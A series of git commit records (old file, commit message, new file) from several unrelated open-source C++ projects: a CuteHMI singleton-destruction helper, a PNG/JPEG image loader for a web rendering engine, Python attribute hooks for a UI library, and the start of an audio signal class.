call()\n\t\t\t{\n\t\t\t\tm_callback();\n\t\t\t}\n\n\t\t\toperator uintptr_t() const\n\t\t\t{\n\t\t\t\treturn reinterpret_cast<uintptr_t>(m_callback);\n\t\t\t}\n\n\t\tprivate:\n\t\t\tcutehmi::internal::singletonDestroyCallback m_callback;\n\t};\n\n\t[[gnu::unused]]\n\tuint qHash(const SingletonDestroyWrapper & key)\n\t{\n\t\treturn ::qHash(static_cast<uintptr_t>(key));\n\t}\n\n\t\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\t\/\/ Container should prserve order in which elements were added, so that singletons can be destroyed in reverse order as they\n\t\/\/ were added. This disqualifies QSet.\n\n\ttypedef QList<SingletonDestroyWrapper> SingletonDestroyFunctionsContainer;\n\n\t\/\/ Elements are prepended to this list (see storeSingletonDestroyCallback()).\n\tSingletonDestroyFunctionsContainer singletonDestroyFunctions;\n\n\t\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n}\n\nnamespace cutehmi {\nnamespace internal {\n\nvoid destroySingletonInstances()\n{\n\t\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\tSingletonDestroyFunctionsContainer copy = singletonDestroyFunctions;\n\t\/\/<cutehmi::Singleton-singleton_class_will_not_call_Destroy_from_destructor.assumption>\n\t\/\/ If Singleton called Destroy() it would invalidate copy and its iterators.\n\tfor (auto it = copy.begin(); it != copy.end(); ++it)\n\t\tit->call();\t\t\/\/ Call Singleton::Destroy(), which will remove callback from original singletonDestroyFunctions.\n\t\/\/<\/cutehmi::Singleton-singleton_class_will_not_call_Destroy_from_destructor.assumption>\n\t\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n}\n\nvoid storeSingletonDestroyCallback(singletonDestroyCallback callback)\n{\n\t\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\t\/\/ Callbacks should be removed in reverse order as they were added.\tWith prepending removeSingletonDestroyCallback() should be\n\t\/\/ able to remove callbacks pretty fast, if accessed through destroySingletonInstances(), because QList::removeOne() will find\n\t\/\/ each removed callback at the beginning of the list.\n\tsingletonDestroyFunctions.prepend(callback);\n\t\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n}\n\nvoid removeSingletonDestroyCallback(singletonDestroyCallback callback)\n{\n\tsingletonDestroyFunctions.removeOne(callback);\n}\n\n}\n}\n\n\/\/(c)C: Copyright © 2019-2020, Michał Policht <michal@policht.pl>, Yuri Chornoivan <yurchor@ukr.net>. All rights reserved.\n\/\/(c)C: SPDX-License-Identifier: LGPL-3.0-or-later OR MIT\n\/\/(c)C: This file is a part of CuteHMI.\n\/\/(c)C: CuteHMI is free software: you can redistribute it and\/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n\/\/(c)C: CuteHMI is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.\n\/\/(c)C: You should have received a copy of the GNU Lesser General Public License along with CuteHMI. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/(c)C: Additionally, this file is licensed under terms of MIT license as expressed below.\n\/\/(c)C: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\/\/(c)C: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\/\/(c)C: THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n<commit_msg>Implement singletonDestroyFunctions() to avoid warning about static non-POD<commit_after>#include \"..\/..\/..\/include\/cutehmi\/internal\/singleton.hpp\"\n\n#include <QList>\n\nnamespace {\n\nclass SingletonDestroyWrapper\n{\n\tpublic:\n\t\tSingletonDestroyWrapper(cutehmi::internal::singletonDestroyCallback callback):\n\t\t\tm_callback(callback)\n\t\t{\n\t\t}\n\n\t\t[[gnu::unused]]\n\t\tbool operator ==(const SingletonDestroyWrapper & other) const\n\t\t{\n\t\t\treturn m_callback == other.m_callback;\n\t\t}\n\n\t\tvoid call()\n\t\t{\n\t\t\tm_callback();\n\t\t}\n\n\t\toperator uintptr_t() const\n\t\t{\n\t\t\treturn reinterpret_cast<uintptr_t>(m_callback);\n\t\t}\n\n\tprivate:\n\t\tcutehmi::internal::singletonDestroyCallback m_callback;\n};\n\n[[gnu::unused]]\nuint qHash(const SingletonDestroyWrapper & key)\n{\n\treturn ::qHash(static_cast<uintptr_t>(key));\n}\n\n\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\/\/ Container should prserve order in which elements were added, so that singletons can be destroyed in reverse order as they\n\/\/ were added. This disqualifies QSet.\ntypedef QList<SingletonDestroyWrapper> SingletonDestroyFunctionsContainer;\n\n\/\/ Elements are prepended to this list (see storeSingletonDestroyCallback()).\nSingletonDestroyFunctionsContainer & singletonDestroyFunctions() {\n\tstatic SingletonDestroyFunctionsContainer container;\n\treturn container;\n}\n\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\n}\n\nnamespace cutehmi {\nnamespace internal {\n\nvoid destroySingletonInstances()\n{\n\t\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\tSingletonDestroyFunctionsContainer copy = singletonDestroyFunctions();\n\t\/\/<cutehmi::Singleton-singleton_class_will_not_call_Destroy_from_destructor.assumption>\n\t\/\/ If Singleton called Destroy() it would invalidate copy and its iterators.\n\tfor (auto it = copy.begin(); it != copy.end(); ++it)\n\t\tit->call();\t\t\/\/ Call Singleton::Destroy(), which will remove callback from original singletonDestroyFunctions.\n\t\/\/<\/cutehmi::Singleton-singleton_class_will_not_call_Destroy_from_destructor.assumption>\n\t\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n}\n\nvoid storeSingletonDestroyCallback(singletonDestroyCallback callback)\n{\n\t\/\/<cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n\t\/\/ Callbacks should be removed in reverse order as they were added.\tWith prepending removeSingletonDestroyCallback() should be\n\t\/\/ able to remove callbacks pretty fast, if accessed through destroySingletonInstances(), because QList::removeOne() will find\n\t\/\/ each removed callback at the beginning of the list.\n\tsingletonDestroyFunctions().prepend(callback);\n\t\/\/<\/cutehmi::destroySingletonInstances-determined_destruction_order.principle>\n}\n\nvoid removeSingletonDestroyCallback(singletonDestroyCallback callback)\n{\n\tsingletonDestroyFunctions().removeOne(callback);\n}\n\n}\n}\n\n\/\/(c)C: Copyright © 2019-2020, Michał Policht <michal@policht.pl>, Yuri Chornoivan <yurchor@ukr.net>. All rights reserved.\n\/\/(c)C: SPDX-License-Identifier: LGPL-3.0-or-later OR MIT\n\/\/(c)C: This file is a part of CuteHMI.\n\/\/(c)C: CuteHMI is free software: you can redistribute it and\/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n\/\/(c)C: CuteHMI is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.\n\/\/(c)C: You should have received a copy of the GNU Lesser General Public License along with CuteHMI. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/(c)C: Additionally, this file is licensed under terms of MIT license as expressed below.\n\/\/(c)C: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\/\/(c)C: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\/\/(c)C: THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2011 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"Box.h\"\n\n#include <jpeglib.h>\n#include <png.h>\n#include <stdio.h>\n\n#include <GL\/gl.h>\n\n#include <boost\/bind.hpp>\n\n#include \"utf.h\"\n\nnamespace org { namespace w3c { namespace dom { namespace bootstrap {\n\n\/\/ image\/png - 89 50 4E 47 0D 0A 1A 0A\n\/\/ image\/gif - \"GIF87a\" or \"GIF89a\"\n\/\/ image\/jpeg - FF D8\n\/\/ image\/bmp - \"BM\"\n\/\/ image\/vnd.microsoft.icon - 00 00 01 00 (.ico), 00 00 02 00 (.cur)\n\nnamespace {\n\nunsigned char* readAsPng(FILE* file, unsigned& width, unsigned& height, unsigned& format)\n{\n png_byte header[8];\n if (fread(header, 1, 8, file) != 8 || png_sig_cmp(header, 0, 8))\n return 0;\n\n png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);\n if (!png_ptr)\n return 0;\n png_infop info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr) {\n png_destroy_read_struct(&png_ptr, NULL, NULL);\n return 0;\n }\n png_infop end_info = png_create_info_struct(png_ptr);\n if (!end_info) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return 0;\n }\n if (setjmp(png_jmpbuf(png_ptr))) {\n png_destroy_read_struct(&png_ptr, &info_ptr, &end_info);\n return 0;\n }\n\n png_init_io(png_ptr, file);\n png_set_sig_bytes(png_ptr, 8);\n\n png_read_info(png_ptr, info_ptr);\n\n width = png_get_image_width(png_ptr, info_ptr);\n height = png_get_image_height(png_ptr, info_ptr);\n unsigned bit_depth = png_get_bit_depth(png_ptr, info_ptr);\n unsigned color_type = png_get_color_type(png_ptr, info_ptr);\n\n if (color_type == PNG_COLOR_TYPE_PALETTE)\n png_set_palette_to_rgb(png_ptr);\n if (color_type == PNG_COLOR_TYPE_GRAY || color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n png_set_gray_to_rgb(png_ptr);\n if (bit_depth == 16)\n png_set_strip_16(png_ptr);\n switch (color_type) {\n case PNG_COLOR_TYPE_RGB:\n case PNG_COLOR_TYPE_GRAY:\n case PNG_COLOR_TYPE_PALETTE:\n format = GL_RGB;\n break;\n default:\n format = GL_RGBA;\n break;\n }\n png_set_interlace_handling(png_ptr);\n\n png_read_update_info(png_ptr, info_ptr);\n\n unsigned rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n png_bytep data = (png_bytep) malloc(rowbytes * height);\n png_bytep* row_pointers = (png_bytep*) malloc(sizeof(png_bytep) * height);\n for (unsigned i = 0; i < height; i++)\n row_pointers[i] = &data[rowbytes * i];\n png_read_image(png_ptr, row_pointers);\n free(row_pointers);\n\n png_read_end(png_ptr, end_info);\n png_destroy_read_struct(&png_ptr, &info_ptr, &end_info);\n\n return data;\n}\n\nunsigned char* readAsJpeg(FILE* file, unsigned& width, unsigned& height, unsigned& format)\n{\n unsigned char sig[2];\n if (fread(sig, 1, 2, file) != 2 || sig[0] != 0xFF || sig[1] != 0xD8)\n return 0;\n rewind(file);\n\n JSAMPARRAY img;\n struct jpeg_decompress_struct cinfo;\n struct jpeg_error_mgr jerr;\n\n cinfo.err = jpeg_std_error(&jerr); \/\/ TODO: set our own error handdler\n jpeg_create_decompress(&cinfo);\n\n jpeg_stdio_src(&cinfo, file);\n jpeg_read_header(&cinfo, true);\n width = cinfo.image_width;\n height = cinfo.image_height;\n jpeg_start_decompress(&cinfo);\n\n unsigned char* data = (unsigned char*) malloc(height * width * cinfo.out_color_components);\n img = (JSAMPARRAY) malloc(sizeof(JSAMPROW) * height);\n for (unsigned i = 0; i < height; ++i)\n img[i] = (JSAMPROW) &data[cinfo.out_color_components * width * i];\n\n while(cinfo.output_scanline < cinfo.output_height)\n jpeg_read_scanlines(&cinfo,\n img + cinfo.output_scanline,\n cinfo.output_height - cinfo.output_scanline);\n jpeg_finish_decompress(&cinfo);\n jpeg_destroy_decompress(&cinfo);\n\n free(img);\n\n if (cinfo.out_color_components == 1)\n format = GL_LUMINANCE;\n else\n format = GL_RGB;\n return data;\n}\n\n} \/\/ namespace\n\nBoxImage::BoxImage(Box* box) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(0),\n format(GL_RGBA),\n img(static_cast<html::HTMLImageElement*>(0) \/* nullptr *\/)\n{\n}\n\nBoxImage::BoxImage(Box* box, const std::u16string& base, const std::u16string& url, unsigned repeat) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(repeat),\n format(GL_RGBA),\n img(static_cast<html::HTMLImageElement*>(0) \/* nullptr *\/),\n request(base)\n{\n open(url);\n}\n\nBoxImage::BoxImage(Box* box, const std::u16string& base, html::HTMLImageElement& img) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(Clamp),\n format(GL_RGBA),\n img(img),\n request(base)\n{\n open(img.getSrc());\n}\n\nvoid BoxImage::open(const std::u16string& url)\n{\n request.open(u\"GET\", url);\n request.setHanndler(boost::bind(&BoxImage::notify, this));\n request.send();\n state = Sent;\n if (request.getReadyState() != HttpRequest::DONE)\n return;\n if (request.getErrorFlag()) {\n state = Broken;\n return;\n }\n FILE* file = request.openFile();\n if (!file) {\n state = Broken;\n return;\n }\n pixels = readAsPng(file, naturalWidth, naturalHeight, format);\n if (!pixels) {\n rewind(file);\n pixels = readAsJpeg(file, naturalWidth, naturalHeight, format);\n }\n if (pixels)\n state = CompletelyAvailable;\n else\n state = Broken;\n fclose(file);\n}\n\nvoid BoxImage::notify()\n{\n if (state == Sent) {\n if (request.getStatus() == 200)\n box->flags = 1; \/\/ for updating render tree.\n else\n state = Unavailable;\n }\n}\n\n}}}} \/\/ org::w3c::dom::bootstrap\n<commit_msg>(readAsPng) : Support palette images with transparency.<commit_after>\/*\n * Copyright 2011 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"Box.h\"\n\n#include <jpeglib.h>\n#include <png.h>\n#include <stdio.h>\n\n#include <GL\/gl.h>\n\n#include <boost\/bind.hpp>\n\n#include \"utf.h\"\n\nnamespace org { namespace w3c { namespace dom { namespace bootstrap {\n\n\/\/ image\/png - 89 50 4E 47 0D 0A 1A 0A\n\/\/ image\/gif - \"GIF87a\" or \"GIF89a\"\n\/\/ image\/jpeg - FF D8\n\/\/ image\/bmp - \"BM\"\n\/\/ image\/vnd.microsoft.icon - 00 00 01 00 (.ico), 00 00 02 00 (.cur)\n\nnamespace {\n\nunsigned char* readAsPng(FILE* file, unsigned& width, unsigned& height, unsigned& format)\n{\n png_byte header[8];\n if (fread(header, 1, 8, file) != 8 || png_sig_cmp(header, 0, 8))\n return 0;\n\n png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);\n if (!png_ptr)\n return 0;\n png_infop info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr) {\n png_destroy_read_struct(&png_ptr, NULL, NULL);\n return 0;\n }\n png_infop end_info = png_create_info_struct(png_ptr);\n if (!end_info) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return 0;\n }\n if (setjmp(png_jmpbuf(png_ptr))) {\n png_destroy_read_struct(&png_ptr, &info_ptr, &end_info);\n return 0;\n }\n\n png_init_io(png_ptr, file);\n png_set_sig_bytes(png_ptr, 8);\n\n png_read_info(png_ptr, info_ptr);\n\n width = png_get_image_width(png_ptr, info_ptr);\n height = png_get_image_height(png_ptr, info_ptr);\n unsigned bit_depth = png_get_bit_depth(png_ptr, info_ptr);\n unsigned color_type = png_get_color_type(png_ptr, info_ptr);\n\n if (color_type == PNG_COLOR_TYPE_PALETTE)\n png_set_palette_to_rgb(png_ptr);\n if (color_type == PNG_COLOR_TYPE_GRAY || color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n png_set_gray_to_rgb(png_ptr);\n if (png_get_valid(png_ptr, info_ptr, PNG_INFO_tRNS)) {\n png_set_tRNS_to_alpha(png_ptr);\n color_type = GL_RGBA;\n }\n if (bit_depth == 16)\n png_set_strip_16(png_ptr);\n switch (color_type) {\n case PNG_COLOR_TYPE_RGB:\n case PNG_COLOR_TYPE_GRAY:\n case PNG_COLOR_TYPE_PALETTE:\n format = GL_RGB;\n break;\n default:\n format = GL_RGBA;\n break;\n }\n png_set_interlace_handling(png_ptr);\n\n png_read_update_info(png_ptr, info_ptr);\n\n unsigned rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n png_bytep data = (png_bytep) malloc(rowbytes * height);\n png_bytep* row_pointers = (png_bytep*) malloc(sizeof(png_bytep) * height);\n for (unsigned i = 0; i < height; i++)\n row_pointers[i] = &data[rowbytes * i];\n png_read_image(png_ptr, row_pointers);\n free(row_pointers);\n\n png_read_end(png_ptr, end_info);\n png_destroy_read_struct(&png_ptr, &info_ptr, &end_info);\n\n return data;\n}\n\nunsigned char* readAsJpeg(FILE* file, unsigned& width, unsigned& height, unsigned& format)\n{\n unsigned char sig[2];\n if (fread(sig, 1, 2, file) != 2 || sig[0] != 0xFF || sig[1] != 0xD8)\n return 0;\n rewind(file);\n\n JSAMPARRAY img;\n struct jpeg_decompress_struct cinfo;\n struct jpeg_error_mgr jerr;\n\n cinfo.err = jpeg_std_error(&jerr); \/\/ TODO: set our own error handdler\n jpeg_create_decompress(&cinfo);\n\n jpeg_stdio_src(&cinfo, file);\n jpeg_read_header(&cinfo, true);\n width = cinfo.image_width;\n height = cinfo.image_height;\n jpeg_start_decompress(&cinfo);\n\n unsigned char* data = (unsigned char*) malloc(height * width * cinfo.out_color_components);\n img = (JSAMPARRAY) malloc(sizeof(JSAMPROW) * height);\n for (unsigned i = 0; i < height; ++i)\n img[i] = (JSAMPROW) &data[cinfo.out_color_components * width * i];\n\n while(cinfo.output_scanline < cinfo.output_height)\n jpeg_read_scanlines(&cinfo,\n img + cinfo.output_scanline,\n cinfo.output_height - cinfo.output_scanline);\n jpeg_finish_decompress(&cinfo);\n jpeg_destroy_decompress(&cinfo);\n\n free(img);\n\n if (cinfo.out_color_components == 1)\n format = GL_LUMINANCE;\n else\n format = GL_RGB;\n return data;\n}\n\n} \/\/ namespace\n\nBoxImage::BoxImage(Box* box) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(0),\n format(GL_RGBA),\n img(static_cast<html::HTMLImageElement*>(0) \/* nullptr *\/)\n{\n}\n\nBoxImage::BoxImage(Box* box, const std::u16string& base, const std::u16string& url, unsigned repeat) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(repeat),\n format(GL_RGBA),\n img(static_cast<html::HTMLImageElement*>(0) \/* nullptr *\/),\n request(base)\n{\n open(url);\n}\n\nBoxImage::BoxImage(Box* box, const std::u16string& base, html::HTMLImageElement& img) :\n box(box),\n state(Unavailable),\n pixels(0),\n naturalWidth(0),\n naturalHeight(0),\n repeat(Clamp),\n format(GL_RGBA),\n img(img),\n request(base)\n{\n open(img.getSrc());\n}\n\nvoid BoxImage::open(const std::u16string& url)\n{\n request.open(u\"GET\", url);\n request.setHanndler(boost::bind(&BoxImage::notify, this));\n request.send();\n state = Sent;\n if (request.getReadyState() != HttpRequest::DONE)\n return;\n if (request.getErrorFlag()) {\n state = Broken;\n return;\n }\n FILE* file = request.openFile();\n if (!file) {\n state = Broken;\n return;\n }\n pixels = readAsPng(file, naturalWidth, naturalHeight, format);\n if (!pixels) {\n rewind(file);\n pixels = readAsJpeg(file, naturalWidth, naturalHeight, format);\n }\n if (pixels)\n state = CompletelyAvailable;\n else\n state = Broken;\n fclose(file);\n}\n\nvoid BoxImage::notify()\n{\n if (state == Sent) {\n if (request.getStatus() == 200)\n box->flags = 1; \/\/ for updating render tree.\n else\n state = Unavailable;\n }\n}\n\n}}}} \/\/ org::w3c::dom::bootstrap\n<|endoftext|>"} {"text":"<commit_before>\/\/ Filename: luiBaseElement_ext.cxx\n\/\/ Created by: tobspr (18Sep14)\n\/\/\n\n#include \"luiBaseElement_ext.h\"\n#include \"extension.h\"\n\n#ifdef HAVE_PYTHON\n\nint Extension<LUIBaseElement>::__setattr__(PyObject *self, PyObject *name, PyObject *value) {\n cout << \"__setattr__ (LUIBaseElement) called for '\" << name << \"'\" << endl;\n\n PyObject *setter_name = PyString_FromString(\"set_\");\n PyString_Concat(&setter_name, name);\n\n PyObject *result = PyObject_CallMethodObjArgs(self, setter_name, value, NULL);\n\n if (result == NULL) {\n Py_DECREF(setter_name);\n return -1;\n }\n\n Py_DECREF(setter_name);\n Py_DECREF(result);\n return 0;\n}\n\nPyObject *Extension<LUIBaseElement>::__getattr__(PyObject *self, PyObject *name) {\n cout << \"__getattr__ (LUIBaseElement) called for '\" << name << \"'\" << endl;\n\n PyObject *getter_name = PyString_FromString(\"get_\");\n PyString_Concat(&getter_name, name);\n\n PyObject *getter = PyObject_GenericGetAttr(self, getter_name);\n\n if (getter == NULL) {\n Py_DECREF(getter_name);\n return NULL;\n }\n\n PyObject *return_value = PyObject_CallObject(getter, NULL);\n Py_DECREF(getter_name);\n \/\/ Py_DECREF(getter);\n return return_value;\n}\n\n#endif\n\n<commit_msg>Updated the luiBaseElement __setattr_<commit_after>\/\/ Filename: luiBaseElement_ext.cxx\n\/\/ Created by: tobspr (18Sep14)\n\/\/\n\n#include \"luiBaseElement_ext.h\"\n#include \"extension.h\"\n\n#ifdef HAVE_PYTHON\n\nint Extension<LUIBaseElement>::__setattr__(PyObject *self, PyObject *name, PyObject *value) {\n\n \/\/ Try to find a method called \"set_<name>\"\n PyObject *str = PyObject_Str(name);\n string name_as_str;\n if (str != NULL) {\n name_as_str = PyString_AS_STRING(str);\n }\n cout << \"__setattr__ (LUIBaseElement) called for '\" << name_as_str << \"'\" << endl;\n\n if (str != NULL) {\n Py_DECREF(str);\n }\n\n PyObject *setter_name = PyString_FromString(\"set_\");\n PyString_Concat(&setter_name, name);\n\n PyObject *result = PyObject_CallMethodObjArgs(self, setter_name, value, NULL);\n\n \/\/ Did not find any method, that means we save the value in the class dict\n if (result == NULL) {\n Py_DECREF(setter_name);\n\n \/\/ Write to class dictionary\n cout << \"Could not find element, saving in class dict\" << endl; \n PyObject* __dict__ = PyObject_GenericGetAttr(self, (char *)string(\"__dict__\").c_str()); \n PyDict_SetItem(__dict__, name, value); \n\n Py_DECREF(__dict__);\n return 0;\n }\n\n Py_DECREF(setter_name);\n Py_DECREF(result);\n return 0;\n}\n\nPyObject *Extension<LUIBaseElement>::__getattr__(PyObject *self, PyObject *name) {\n\n \/\/ Try to find a method called \"get_<name>\"\n PyObject *str = PyObject_Str(name);\n string name_as_str;\n if (str != NULL) {\n name_as_str = PyString_AS_STRING(str);\n }\n cout << \"__getattr__ (LUIBaseElement) called for '\" << name_as_str << \"'\" << endl;\n\n if (str != NULL) {\n Py_DECREF(str);\n }\n PyObject *getter_name = PyString_FromString(\"get_\");\n PyString_Concat(&getter_name, name);\n\n PyObject *getter = PyObject_GenericGetAttr(self, getter_name);\n\n \/\/ No method found, just return, interrogate will fix this for us\n if (getter == NULL) {\n Py_DECREF(getter_name);\n return NULL;\n }\n\n \/\/ Calls the \"get_<name>\" and returns the result\n PyObject *return_value = PyObject_CallObject(getter, NULL);\n Py_DECREF(getter_name);\n return return_value;\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/* \n * TTBlue Audio Signal Class\n * Copyright © 2008, Timothy Place\n * \n * License: This code is licensed under the terms of the GNU LGPL\n * http:\/\/www.gnu.org\/licenses\/lgpl.html \n *\/\n\n#include \"TTAudioSignal.h\"\n#define thisTTClass TTAudioSignal\n\n\n\/****************************************************************************************************\/\n\nTTAudioSignal::TTAudioSignal(const TTUInt16 initialMaxNumChannels)\n \t: TTObject(\"audiosignal\"), isLocallyOwned(false), maxNumChannels(0), vectorSize(0), numChannels(0), sampleVectors(NULL)\n{\n\tregisterAttributeWithSetter(vectorSize, kTypeUInt16);\n\tregisterAttributeWithSetter(numChannels, kTypeUInt16);\n\tregisterAttributeWithSetter(maxNumChannels, kTypeUInt16);\n\tregisterAttributeSimple(bitdepth, kTypeUInt8);\n\taddAttributeProperty(bitdepth, readOnly, kTTVal1);\n\t\n\tregisterMessageSimple(clear);\n\tregisterMessageSimple(alloc);\n\tregisterMessageWithArgument(allocWithNewVectorSize);\n\tregisterMessageWithArgument(setVector32);\n\tregisterMessageWithArgument(getVector32);\n\tregisterMessageWithArgument(setVector64);\n\tregisterMessageWithArgument(getVector64);\n\t\n\t\n\tsetAttributeValue(TT(\"maxNumChannels\"), initialMaxNumChannels);\n\tsetAttributeValue(TT(\"numChannels\"), initialMaxNumChannels);\n}\n\n\nTTAudioSignal::~TTAudioSignal()\n{\n\tchuck();\n}\n\n\nvoid TTAudioSignal::chuck()\n{\n\tTTUInt32\ti;\n\t\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t\tisLocallyOwned = false;\n\t}\n\tfree(sampleVectors);\n\tmaxNumChannels = 0;\n\tsampleVectors = NULL;\n}\n\n\nTTErr TTAudioSignal::setmaxNumChannels(const TTValue& newMaxNumChannels)\n{\n\tTTUInt32\ti;\n\n\tchuck();\n\tmaxNumChannels = newMaxNumChannels;\n\tif(maxNumChannels) {\n\t\tsampleVectors = (TTSampleVector *)malloc(sizeof(TTSampleVector) * maxNumChannels);\n\t\tfor(i=0; i<maxNumChannels; i++)\n\t\t\tsampleVectors[i] = NULL;\n\t}\n\treturn kTTErrNone;\n}\n\n\nTTErr TTAudioSignal::setVector(const TTUInt16 channel, const TTUInt16 newVectorSize, const TTSampleVector newVector)\n{\n\tTTUInt32\ti;\n\t\n\t\/\/ could check against maxnumchannels here\n\t\n\tbitdepth = 64;\n\tvectorSize = newVectorSize;\n\t\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t\tisLocallyOwned = false;\n\t}\n\tsampleVectors[channel] = newVector;\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::setVector64(const TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\tnewVectorSize;\n\tTTPtr\t\t\tnewVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, newVectorSize);\n\t\tv.get(2, &newVector);\n\t\treturn setVector(channel, newVectorSize, TTSampleVector(newVector));\n\t}\n\treturn kTTErrGeneric;\n}\n\n\n\/*\n\tIt sucks if someone sets a 32-bit audio vector, since we have translate it into a 64-bit buffer.\n\tThere may be a better way to do this...\n\t\n\tFor now, we don't simply reference the data passed in. Instead we allocate our own buffer and copy the data.\n\tUnfortunately, this is very slow.\n\t\n\tAlso note that we are relying on the vector size already being set!\n\t\n\tIf we passed the vs in to this method, we could avoid having to realloc the memory every single time.\n\tThis would probably be a very good idea.\n*\/\nTTErr TTAudioSignal::setVector(const TTUInt16 channel, const TTUInt16 newVectorSize, const TTFloat32* newVector)\n{\n\tTTUInt32\ti;\n\t\n\t\/\/ 1. could check against maxnumchannels here\n\n\t\/\/ 2. allocate the vector if need be\n\tif(bitdepth != 32 || !isLocallyOwned || newVectorSize != vectorSize)\n\t{\n\t\tbitdepth = 32;\n\t\tvectorSize = newVectorSize;\n\t\talloc();\n\t}\n\t\n\t\/\/ 3. copy the vector (from 32-bits to 64-bits)\n\tfor(i=0; i<vectorSize; i++)\n\t\tsampleVectors[channel][i] = newVector[i];\n\t\n\treturn kTTErrNone;\n}\n\nTTErr 